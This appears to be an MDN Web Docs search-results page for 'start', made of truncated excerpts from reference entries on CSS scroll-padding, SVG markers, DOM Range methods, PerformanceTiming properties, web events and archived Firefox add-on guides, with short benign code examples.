... toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword values */ scroll-padding-block-
start: auto; /* <length> values */ scroll-padding-block-
start: 10px; scroll-padding-block-
start: 1em; scroll-padding-block-
start: 10%; /* global values */ scroll-padding-block-
start: inherit; scroll-padding-block-
start: initial; scroll-padding-block-
start: unset; values <length-percentage> an inwards offset from the block
start edge of the scrollport, as a valid length or a percentage. auto t...
... candidate recommendation initial definition ...
scroll-padding-inline-start - CSS: Cascading Style Sheets
the scroll-padding-inline-
start property defines offsets for the
start edge in the inline dimension of the optimal viewing region of the scrollport: the region used as the target region for placing things in view of the user. this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword values */ scroll-padding-inline-
start: auto; /* <length> values */ scroll-padding-inline-
start: 10px; scroll-padding-inline-
start: 1em; scroll-padding-inline-
start: 10%; /* global values */ scroll-padding-inline-
start: inherit; scroll-padding-inline-
start: initial; scroll-padding-inline-
start: unset; values <length-percentage> an inwards offset from the inline
start edge of the scrollport, as a valid length or a percentage. ...
... candidate recommendation initial definition ...
marker-start - SVG: Scalable Vector Graphics
the marker-
start attribute defines the arrowhead or polymarker that will be drawn at the first vertex of the given shape. for all shape elements, except <polyline> and <path>, the last vertex is the same as the first vertex. in this case, if the value of marker-
start and marker-end are both not none, then two markers will be rendered on that final vertex. for <path> elements, for each closed subpath, the last vertex is the same as the first vertex. marker-
start is only rendered on the first vertex of the path data. note: as a presentation attribute, marker-
start can be used as a css property. as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, bo...
... <marker-ref> this value is a reference to a <marker> element, which will be drawn at the first vertex. if the reference is not valid, then no marker will be drawn. specific...
...animatable yes none indicates that no marker symbol shall be drawn at the first vertex. <marker-ref> this value is a reference to a <marker> element, which will be drawn at the first vertex. if the reference is not valid, then no marker will be drawn. specifications specification status comment scalable vector graphics (svg) 2the definition of 'marker-
start' in that specification. candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-
start' in that specification. recommendation initial definition ...
Measuring add-on startup performance - Archive of obsolete content
this article describes an add-on that is no longer supported. using about:
startup the about
startup add-on provides a much simpler way to measure
startup performance. once installed, it will gather
startup data and display it in the about:
startup page. the add-on is very lightweight, so it shouldn't have a noticeable negative effect on your baseline and add-on tests. to test with about:
startup, you should set up a new firefox profile, install this add-on, and then open and quit firefox repeatedly. if you want to match talos, you should do this 20 times. then look at the results in the about:
startup page. this should provide your baseline numbers. then repeat the process with both about
startup and your add-on installed. the overhead can be calculated using the same formula. the ab...
..., you should set up a new firefox profile, install this add-on, and then open and quit firefox repeatedly. if you want to match talos, you should do this 20 times. then look at the results in the about:
startup page. this should provide your baseline numbers. then repeat the process with both about
startup and your add-on installed. the overhead can be calculated using the same formula. the about:
startup page shows 3 different time measurements: main, sessionrestored and firstpaint. main happens very early in the
startup process and should not be affected by add-ons being installed. the firstpaint time should be roughly similar to what talos tests. this can vary between systems, though. sessionrestored is fired later in the process, when firefox has loaded all tabs from the saved session. ...
startFind - Archive of obsolete content
« xul reference home
startfind( mode ) return type: no return value call this method to handle your application's "find" command. this opens the findbar, focuses the edit field for the search term, and selects its contents. the first time this is called for a given findbar, the findbar will flash to draw attention to itself. the mode should be one of find_normal, find_typeahead, or find_links. if you don't pass a mode, the last-used mode for the same findbar is used. if the findbar hasn't been used before, find_normal is the default. ...
...the findbar will flash to draw attention to itself. ...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
tcp slow
start helps buildup transmission speeds to the network's capabilities. it does this without initially knowing what those capabilities are and without creating congestion. tcp slow
start is an algorithm used to detect the available bandwidth for packet transmission, and balances the speed of a network connection. it prevents the appearance of network congestion whose capabilities are initially unknown, and slowly increases the volume of information diffused until the network's maximum capacity is found. to implement tcp slow
start, the congestion window (cwnd) sets an upper limit on the amount of data a source can transmit over the network before receiving an acknowledgment (ack). the slow
start threshold (ssthresh) determines the (de)activation of slow
start. when a new con...
... congestion control congestion itself is a state that happens within a network layer when the message traffic is too busy it slows the network response time. ...
Document: animationstart event - Web APIs
the animation
start event is fired when a css animation has
started. if there is an animation-delay, this event will fire once the delay period has expired. a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence). bubbles yes cancelable no interface animationevent event handler property onanimation
start the original target for this event is the element that had the animation applied. you can listen for this event on the document interface to handle it in the capture or bubbling phases. for full details on this event please see the page on htmlelement: animation
start. examples this listens for th...
... interface animationevent event handler property onanimation
start the original target for this event is the element that had the animation applied. you can listen for this event on the document interface to handle it in the capture or bubbling phases. for full details on this event please see the page on htmlelement: animation
start. examples this listens for the animation
start event and logs a message when it is fired: document.addeventlistener('animation
start', () => { console.log('animation
started'); }); the same, but using onanimation
start: document.onanimation
start = () => { console.log('animation
started'); }; see a live example of this event. specifications specification status comment css animations working draft in...
GlobalEventHandlers.ontouchstart - Web APIs
the ontouch
start property of the globaleventhandlers mixin is an eventhandler that processes touch
start events. note: this attribute has not been formally standardized. it is specified in the touch events – level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. syntax var
starthandler = someelement.ontouch
start; return value
starthandler the touch
start event handler for element someelement. example this example shows two ways to use ontouch
start to set an element's touch
start event handler. ...
... touch events – level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. syntax var
starthandler = someelement.ontouch
start; return value
starthandler the touch
start event handler for element someelement. example this example shows two ways to use ontouch
start to set an element's touch
start event handler. <html> <script> function
starttouch(ev) { // process the event } function init() { let el = document.getelementbyid('target1'); el.ontouch
start =
starttouch; } </script> <body onload="init();"> <div id="target1"> touch me ... </div> <div id="target2" ontouch
start="
starttouch(event)"> touch me ... </div> </body> </html> specifications specification status comment touch events – level 2 ...
MessagePort.start() - Web APIs
the
start() method of the messageport interface
starts the sending of messages queued on the port. this method is only needed when using eventtarget.addeventlistener; it is implied when using messagechannel.onmessage. note: this feature is available in web workers. syntax port.
start() returns void. parameters none. ...
...ters none. example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using onmessage: channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } another option would be to do this using eventtarget.addeventlistener, however, when this method is used, you need to explicitly call
start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.
start(); specifications specification status comment html living standardthe definition of '
start()' in that specification. living standard ...
PerformanceTiming.connectStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.connect
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the request to open a connection is sent to the network. if the transport layer reports an error and the connection establishment is
started again, the last connection establisment
start time is given. ...
...y property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the request to open a connection is sent to the network. if the transport layer reports an error and the connection establishment is
started again, the last connection establisment
start time is given. if a persistent connection is used, the value will be the same as performancetiming.fetch
start. syntax time = performancetiming.connect
start; specifications specification status comment navigation timingthe definition of 'performancetiming.connect
start' in that specification. recommendation initial definition. ...
TimeRanges.start() - Web APIs
returns the time offset at which a specified time range begins. syntax
starttime = timeranges.
start(index) parameters index is the range number to return the
starting time for. exceptions index_size_err a domexception thrown if the specified index doesn't correspond to an existing range. example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.
start(0) == 0 && buf.end(0) == v.duration) { // the one range
starts at the beginning and ends at // the end of the video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire video has been loaded. specifications specifica...
...one range if (buf.
start(0) == 0 && buf.end(0) == v.duration) { // the one range
starts at the beginning and ends at // the end of the video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire video has been loaded. specifications specification status comment html living standardthe definition of 'timeranges.
start()' in that specification. living standard initial definition ...
Window: animationstart event - Web APIs
the animation
start event is fired when a css animation has
started. if there is an animation-delay, this event will fire once the delay period has expired. a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence). bubbles yes cancelable no interface animationevent event handler property onanimation
start the original target for this event is the element that had the animation applied. you can listen for this event on the window interface to handle it in the capture or bubbling phases. for full details on this event please see the page on htmlelement: animation
start. examples this listens for the ...
... interface animationevent event handler property onanimation
start the original target for this event is the element that had the animation applied. you can listen for this event on the window interface to handle it in the capture or bubbling phases. for full details on this event please see the page on htmlelement: animation
start. examples this listens for the animation
start event and logs a message when it is fired: window.addeventlistener('animation
start', () => { console.log('animation
started'); }); the same, but using onanimation
start: window.onanimation
start = () => { console.log('animation
started'); }; see a live example of this event. specifications specification status comment css animations working draft initia...
XMLHttpRequestEventTarget.onloadstart - Web APIs
the xmlhttprequesteventtarget.onload
start is the function called when an xmlhttprequest transaction
starts transferring data. syntax xmlhttprequest.onload
start = callback; values callback is the function to be called when the transaction begins to transfer data. ...
...arget.onload
start is the function called when an xmlhttprequest transaction
starts transferring data. syntax xmlhttprequest.onload
start = callback; values callback is the function to be called when the transaction begins to transfer data. ...
SyntaxError: identifier starts immediately after numeric literal - JavaScript
the javascript exception "identifier
starts immediately after numeric literal" occurs when an identifier
started with a digit. identifiers can only
start with a letter, underscore (_), or dollar sign ($). message syntaxerror: unexpected identifier after numeric literal (edge) syntaxerror: identifier
starts immediately after numeric literal (firefox) syntaxerror: unexpected number (chrome) error type syntaxerror what went wrong? the names of variables, called identifiers, conform to certain rules, which your code must adhere to! a javascript identifier must
start with a letter, underscore (_), or dollar sign ($). they can't
start with a digit! only subsequent characters can be digits (0-9). examples variable names
starting with numeric literals variable names can't
start with numbers...
...rm to certain rules, which your code must adhere to! a javascript identifier must
start with a letter, underscore (_), or dollar sign ($). they can't
start with a digit! only subsequent characters can be digits (0-9). examples variable names
starting with numeric literals variable names can't
start with numbers in javascript. the following fails: var 1life = 'foo'; // syntaxerror: identifier
starts immediately after numeric literal var foo = 1life; // syntaxerror: identifier
starts immediately after numeric literal alert(1.foo); // syntaxerror: identifier
starts immediately after numeric literal you will need to rename your variable to avoid the leading number. var life1 = 'foo'; var foo = life1; ...
start_url - Web app manifests
type string mandatory no the
start_url member is a string that represents the
start url of the web application — the prefered url that should be loaded when the user launches the web application (e.g., when the user taps on the web application's icon from a device's application menu or homescreen). note: the
start_url member is purely advisory, and a user agent may ignore it or allow the user to alter it at install time or afterwards. examples absolute url "
start_url": "https://example.com" relative url if the url is relative, the manifest url is used as the base url to resolve it. ...
...., when the user taps on the web application's icon from a device's application menu or homescreen). note: the
start_url member is purely advisory, and a user agent may ignore it or allow the user to alter it at install time or afterwards. examples absolute url "
start_url": "https://example.com" relative url if the url is relative, the manifest url is used as the base url to resolve it. "
start_url": "../
startpoint.html" specification specification status comment feedback web app manifestthe definition of '
start_url' in that specification. working draft initial definition. web app manifest working group drafts ...
Getting Started (jpm) - Archive of obsolete content
d cfx tool. you can use jpm from firefox 38 onwards. this article describes how to develop using jpm. this tutorial walks through creating a simple add-on using the sdk. prerequisites to create add-ons for firefox using the sdk, you'll need: firefox version 38 or later. if you need to work with earlier versions of firefox, you'll need to use the old cfx tool. see instructions for getting
started with cfx. the command-line jpm tool. see the instructions for installing jpm. once you've done that, you'll be looking at a command prompt. install firefox developer version for testing your add-on. initializing an empty add-on in the command prompt, create a new directory. navigate to it, type jpm init, and hit enter: mkdir my-addon cd my-addon jpm init you'll then be asked to supply s...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
d in the file classic.jar found in the firefox installation directory. a .jar file is in reality a renamed zip archive. opening the .jar files in your archive manager of choice should result in the file being automatically detected as being a zip archive. however, if your application doesn't detect classic.jar as a standard zip archive, rename the file classic.zip and continue extraction. note:
starting in gecko 2.0, the new omni.jar file contains the skin, among other resources. see theme changes in firefox 4 for details on how to extract skin files from firefox 4 or later. classic.jar locations linux: /usr/lib/mozillafirefox/chrome/classic.jar or /usr/lib/firefox-*.*.*/chrome/classic.jar windows: \program files\mozilla firefox\chrome\classic.jar for mac os x: go to your applications...
Element: gesturestart event - Web APIs
during the gesture, gesturechange events will be fired. when the gesture has ended, a gestureend event will be fired. it is a proprietary event specific to webkit. ...
Element: touchstart event - Web APIs
the touch
start event is fired when one or more touch points are placed on the touch surface. bubbles yes cancelable yes interface touchevent event handler property ontouch
start examples code samples for those events are available on the dedicated page: touch events. specifications specification status touch events recommendation ...
GlobalEventHandlers.onloadstart - Web APIs
the onload
start property sets and returns the event handler for the load
start event. syntax element.onload
start = handlerfunction; var handlerfunction = element.onload
start; handlerfunction should be either null or a javascript function specifying the handler for the event. notes see the dom event handlers page for information on working with on... handlers. the load
start event is fired when progress has begun. see the load
start event documentation for more information about the event. specification specification status comment html living standardthe definition of 'load
start' in that specification. living standard ...
GlobalEventHandlers.onselectstart - Web APIs
the onselect
start property of the globaleventhandlers mixin is an eventhandler that processes select
start events. the select
start event fires when the user
starts to make a new text selection on a webpage. syntax object.onselect
start = functionref; value functionref is a function name or a function expression. the function receives a focusevent object as its sole argument. example document.onselect
start = function() { console.log('selection
started!'); }; for a full example, see our key quote generator demo. specifications specification status comment selection apithe definition of 'globaleventhandlers.onselect
start' in that specification. working draft initial definition. ...
PerformanceTiming.domContentLoadedEventStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.domcontentloadedevent
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, right before the parser sent the domcontentloaded event, that is right after all the scripts that need to be executed right after parsing has been executed. syntax time = performancetiming.domcontentloadedevent
start; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedevent
start' in that specification. recommendation initial definition. ...
PerformanceTiming.domainLookupStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.domainlookup
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the domain lookup
starts. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetch
start. syntax time = performancetiming.domainlookup
start; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookup
start' in that specification. recommendation initial definition. ...
PerformanceTiming.fetchStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.fetch
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the browser is ready to fetch the document using an http request. this moment is before the check to any application cache. syntax time = performance.timing.fetch
start; specifications specification status comment navigation timingthe definition of 'performancetiming.fetch
start' in that specification. recommendation initial definition. ...
PerformanceTiming.loadEventStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface's performancenavigationtiming.loadevent
start read-only property instead.. the legacy performancetiming.loadevent
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the load event was sent for the current document. if this event has not yet been sent, it returns 0. syntax time = performancetiming.loadevent
start; specifications specification status comment navigation timingthe definition of 'performancetiming.loadevent
start' in that specification. recommendation initial definition. ...
PerformanceTiming.navigationStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.navigation
start read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after the prompt for unload terminates on the previous document in the same browsing context. if there is no previous document, this value will be the same as performancetiming.fetch
start. syntax time = performancetiming.navigation
start; specifications specification status comment navigation timingthe definition of 'performancetiming.navigation
start' in that specification. recommendation initial definition. ...
PerformanceTiming.redirectStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.redirect
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the first http redirect
starts. if there is no redirect, or if one of the redirect is not of the same origin, the value returned is 0. syntax time = performancetiming.redirect
start; specifications specification status comment navigation timingthe definition of 'performancetiming.redirect
start' in that specification. recommendation initial definition. ...
PerformanceTiming.requestStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.request
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser sent the request to obtain the actual document, from the server or from a cache. if the transport layer fails after the
start of the request and the connection is reopened, this property will be set to the time corresponding to the new request. syntax time = performancetiming.request
start; specifications specification status comment navigation timingthe definition of 'performancetiming.request
start' in that specification. recommendation ...
PerformanceTiming.responseStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.response
start read-only property returns an unsigned long long representing the moment in time (in milliseconds since the unix epoch) when the browser received the first byte of the response from the server, cache, or local resource. syntax time = performancetiming.response
start; specifications specification status comment navigation timingthe definition of 'performancetiming.response
start' in that specification. recommendation initial definition. ...
PerformanceTiming.secureConnectionStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.secureconnection
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the secure connection handshake
starts. if no such connection is requested, it returns 0. syntax time = performancetiming.secureconnection
start; specifications specification status comment navigation timingthe definition of 'performancetiming.secureconnection
start' in that specification. recommendation initial definition. ...
PerformanceTiming.unloadEventStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.unloadevent
start read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the unload event has been thrown. if there is no previous document, or if the previous document, or one of the needed redirects, is not of the same origin, the value returned is 0. syntax time = performancetiming.unloadevent
start; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadevent
start' in that specification. recommendation initial definition. ...
Range.setStartAfter() - Web APIs
the range.set
startafter() method sets the
start position of a range relative to a node. the parent node of the
start of the range will be the same as that for the referencenode. syntax range.set
startafter(referencenode); parameters referencenode the node to
start the range after. example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.set
startafter(referencenode); specifications specification status comment domthe definition of 'range.set
startafter()' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.set
startafter()' in that specification. obsolete initial specification. ...
Range.setStartBefore() - Web APIs
the range.set
startbefore() method sets the
start position of a range relative to another node. the parent node of the
start of the range will be the same as that for the referencenode. syntax range.set
startbefore(referencenode); parameters referencenode the node before which the range should
start. example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.set
startbefore(referencenode); specifications specification status comment domthe definition of 'range.set
startbefore()' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.set
startbefore()' in that specification. obsolete initial speci...
Range.startContainer - Web APIs
the range.
startcontainer read-only property returns the node within which the range
starts. to change the
start position of a node, use one of the range.set
start() methods. syntax
startrangenode = range.
startcontainer; example range = document.createrange(); range.set
start(
startnode,
startoffset); range.setend(endnode,endoffset);
startrangenode = range.
startcontainer; specifications specification status comment domthe definition of 'range.endcontainer' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.
startcontainer' in that specification. obsolete initial specification. ...
Selection.collapseToStart() - Web APIs
the selection.collapseto
start() method collapses the selection to the
start of the first range in the selection. if the content of the selection is focused and editable, the caret will blink there. syntax sel.collapseto
start() parameters none. specifications specification status comment selection apithe definition of 'selection.collapseto
start()' in that specification. working draft current ...
SpeechRecognition: audiostart event - Web APIs
the audio
start event of the web speech api is fired when the user agent has
started to capture audio for speech recognition. bubbles no cancelable no interface event event handler onaudio
start examples you can use the audio
start event in an onaudio
start method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audio
start', function() { console.log('audio capturing
started'); }); or use the onaudio
start event handler property: recognition.onaudio
start = function() { console.log('audio capturing
started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification. dra...
SpeechRecognition.onaudiostart - Web APIs
the onaudio
start property of the speechrecognition interface represents an event handler that will run when the user agent has
started to capture audio (when the audio
start event fires.) syntax myspeechrecognition.onaudio
start = function() { ... }; examples var recognition = new speechrecognition(); recognition.onaudio
start = function() { console.log('audio capturing
started'); } specifications specification status comment web speech apithe definition of 'onaudio
start' in that specification. draft ...
SpeechRecognition.onsoundstart - Web APIs
the onsound
start property of the speechrecognition interface represents an event handler that will run when any sound — recognisable speech or not — has been detected (when the sound
start event fires.) syntax myspeechrecognition.onsound
start = function() { ... }; examples recognition.onsound
start = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'onsound
start' in that specification. draft ...
SpeechRecognition.onspeechstart - Web APIs
the onspeech
start property of the speechrecognition interface represents an event handler that will run when sound recognised by the speech recognition service as speech has been detected (when the speech
start event fires.) syntax myspeechrecognition.onspeech
start = function() { ... }; examples recognition.onspeech
start = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'onspeech
start' in that specification. draft ...
SpeechRecognition.onstart - Web APIs
the on
start property of the speechrecognition interface represents an event handler that will run when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition (when the
start event fires.) syntax myspeechrecognition.on
start = function() { ... }; examples recognition.on
start = function() { console.log('speech recognition service has
started'); } specifications specification status comment web speech apithe definition of 'on
start' in that specification. draft ...
StaticRange.startContainer - Web APIs
the read-only
startcontainer property of the staticrange interface returns the
start node for the range. syntax var node = staticnode.
startcontainer value the dom node inside which the
start position of the range is found. specifications specification status comment domthe definition of '
startcontainer ' in that specification. living standard static rangethe definition of '
startcontainer' in that specification. editor's draft initial definition. ...
StaticRange.startOffset - Web APIs
the read-only
startoffset property of the staticrange interface returns the offset into the
start node of the range's
start position. syntax var
startoffset = staticrange.
startoffset value an integer value indicating the number of characters into the node indicated by
startcontainer at which the first character of the range is located. specifications specification status comment domthe definition of '
startoffset' in that specification. living standard static rangethe definition of '
startoffset' in that specification. editor's draft initial definition. ...
Getting started with WebGL - Web APIs
to render in 3d the first thing you need in order to use webgl for rendering is a canvas. the html fragment below declares a canvas that our sample will draw into. <body> <canvas id="glcanvas" width="640" height="480"></canvas> </body> preparing the webgl context the main() function in our javascript code, is called when our script is loaded. its purpose is to set up the webgl context and
start rendering content. // //
start here // function main() { const canvas = document.queryselector("#glcanvas"); // initialize the gl context const gl = canvas.getcontext("webgl"); // only continue if webgl is available and working if (gl === null) { alert("unable to initialize webgl. your browser or machine may not support it."); return; } // set clear color to black, fully ...
XRSession.onselectstart - Web APIs
the onselect
start attribute of the xrsession object is the event handler for the select
start event, which is dispatched when user
starts making some sort of selection by pressing a trigger, touchpad, or button, speaking a command, or making a hand gesture. for example, this might include pressing a button or moving a joystick. note: not to be confused with xrsession.onselect and xrsession.onselectend. syntax xrsession.onselect
start = function(event) { ... } example xrsession.onselect
start = function(event) { console.log("the user has
started a primary action, but might not have completed it.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselect
start' in that specification. working draft in...
Getting Started - Developer guides
what's ajax? ajax stands for asynchronous javascript and xml. in a nutshell, it is the use of the xmlhttprequest object to communicate with servers. it can send and receive information in various formats, including json, xml, html, and text files. ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page. ...
Getting started - SVG: Scalable Vector Graphics
th="100%" height="100%" fill="red" /> <circle cx="150" cy="100" r="80" fill="green" /> <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">svg</text> </svg> copy the code and paste it in a file demo1.svg. then open the file in firefox. it will render as shown in the following screenshot. (firefox users: click here) the rendering process involves the following: we
start with the <svg> root element: a doctype declaration as known from (x)html should be left off because dtd based svg validation leads to more problems than it solves before svg 2, to identify the version of the svg for other types of validation the version and baseprofile attributes should always be used instead. both version and baseprofile attributes are deprecated in svg 2. as an xml...
starts-with - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the
starts-with checks whether the first string
starts with the second string and returns true or false. syntax
starts-with(haystack, needle) arguments haystack the string to look in. needle the string to look for. returns true if haystack
starts with needle. otherwise, false. defined xpath 1.0 4.2 gecko support supported. ...
Index - Web APIs
orientationsensor object which describes the device's physical orientation in relation to the earth's reference coordinate system. 16 abstractrange api, abstract, abstract interface, abstractrange, dom, dom api, interface, range, reference the abstractrange abstract interface is the base class upon which all dom range types are defined. a range is an object that indicates the
start and end points of a section of content within the document. 17 abstractrange.collapsed api, abstractrange, dom, dom api, empty, property, range, reference, collapsed the collapsed read-only property of the abstractrange interface returns true if the range's
start position and end position are the same. 18 abstractrange.endcontainer api, abstractrange, dom, dom ...
...ontainer property of the abstractrange interface returns the node in which the end of the range is located. 19 abstractrange.endoffset api, abstractrange, dom, dom api, end, property, range, read-only, reference, endoffset, offset the endoffset property of the abstractrange interface returns the offset into the end node of the range's end position. ...
...nge is located. 19 abstractrange.endoffset api, abstractrange, dom, dom api, end, property, range, read-only, reference, endoffset, offset the endoffset property of the abstractrange interface returns the offset into the end node of the range's end position. ...
...And 184 more matches
Index - Archive of obsolete content
summary! 21 port no summary! 22 self this article documents the self object that is available as a global in content scripts. self provides: 23 contributor's guide no summary! 24 classes and inheritance add-on sdk no summary! 25 content processes add-on sdk no summary! 26 getting
started add-on sdk learn how to contribute to the add-on sdk. 27 modules add-ons, extensions a module is a self-contained unit of code, which is usually stored in a file, and has a well defined interface. the use of modules greatly improves the maintainability of code, by splitting it up into independent components, and enforcing logical boundaries between them. unfortuna...
...ery strings. 55 request needsupdate, sdk, add-on make simple network requests. 56 selection add-on sdk get and set text and html selections in the current web page. 57 self add-on sdk access data that is bundled with the add-on, and add-on metadata. 58 simple-prefs add-on sdk store preferences across application re
starts. 59 simple-storage add-on sdk, add-ons, reference lets an add-on store data so that it's retained across firefox re
starts. 60 system add-on sdk query the add-on's environment and access arguments passed to it. 61 tabs add-on sdk open, manipulate, and access tabs, and receive tab events. 62 timers add-on sdk set o...
...annotations add-on sdk no summary! 151 chrome authority no summary! 152 creating event targets no summary! 153 creating reusable modules add-on sdk no summary! 154 developing for firefox mobile add-on sdk no summary! 155 display a popup add-on sdk no summary! 156 getting
started (jpm) add-on sdk, jpm in this tutorial we've built and packaged an add-on using three commands: 157 getting
started (cfx) in this tutorial we've built and packaged an add-on using three commands: 158 list open tabs add-on sdk no summary! 159 listen for page load add-on sdk no summary! 160 listening for load and...
...And 57 more matches
StringView - Archive of obsolete content
*| https://github.com/madmurphy/stringview.js |*| |*| this framework is released under the gnu lesser general public license, version 3 or later. ...
... break typeswitch; case arraybuffer: /* the input argument is an arraybuffer: the buffer will be shared. */ awhole = new ftaview(vinput); ninptlen = this.encoding === "utf-32" ? vinput.bytelength >>> 2 : this.encoding === "utf-16" ? vinput.bytelength >>> 1 : vinput.bytelength; araw = n
startidx === 0 && (!isfinite(nlength) || nlength === ninptlen) ? awhole : new ftaview(vinput, n
startidx, !isfinite(nlength) ? ninptlen - n
startidx : nlength); break typeswitch; case uint32array: case uint16array: case uint8array: /* the input argument is a typedarray: the buffer, and possibly the array itself, will be shared. */ ...
...*/ awhole = new ftaview(vinput); ninptlen = awhole.
...And 43 more matches
Index - Learn web development
found 348 pages: # page tags and summary 1 learn web development beginner, css, html, index, intro, landing, learn, web welcome to the mdn learning area. this set of articles aims to provide complete beginners to web development with all that they need to
start coding websites. 2 accessibility aria, accessibility, articles, beginner, css, codingscripting, html, javascript, landing, learn, module learning some html, css, and javascript is useful if you want to become a web developer. beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web. to help you achieve this, this module will cover general best practices (which are demonstrated throughou...
...ou want to become a web developer. beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web. to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the
start. we'll cover accessibility in special detail. 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions. 4 assessment: accessibility tro...
...gscripting, html, javascript, learn, tools, users, assistive technology, keyboard, screan reader, screenreader this article should have given you a useful high-level overview of accessibility, shown you why it's important, and looked at how you can fit it into your workflow. you should now also have a thirst to learn about the implementation details that can make sites accessible, and we'll
start on that in the next section, looking at why html is a good basis for accessibility. 13 aprender y obtener ayuda beginner, learn, learning, web development, getting help it is great that you are putting some time into learning a new set of skills, but there are good practices to employ that will make your learning more effective. there are also are times when you'll get stuck ...
...And 43 more matches
JavaScript Daemons Management - Archive of obsolete content
cesses created by javascript timers or by a worker instantiation. here are some code snippets that simplify and abstract the management of daemons. the following daemons management framework is the major version of setinterval – a little framework. introduction sometimes a page uses dozens and dozens of animations. in such a condition it is difficult and unnatural to keep track of all events
started and then to stop them when appropriate through the cleartimeout() function. a possible approach to solve this problem is to nest all the information needed by each animation to
start, stop, etc. in different objects (daemons) and then to create a constructor for such a class of objects (daemon) in order to standardize and simplify the instantiation of them. note: a minimalistic version of it (...
...ructor for such a class of objects (daemon) in order to standardize and simplify the instantiation of them. note: a minimalistic version of it (minidaemon) is published here. this more complex version of it is nothing but a big and scalable collection of methods for the daemon constructor. but the daemon constructor itself is nothing but a clone of minidaemon with an added support for init and on
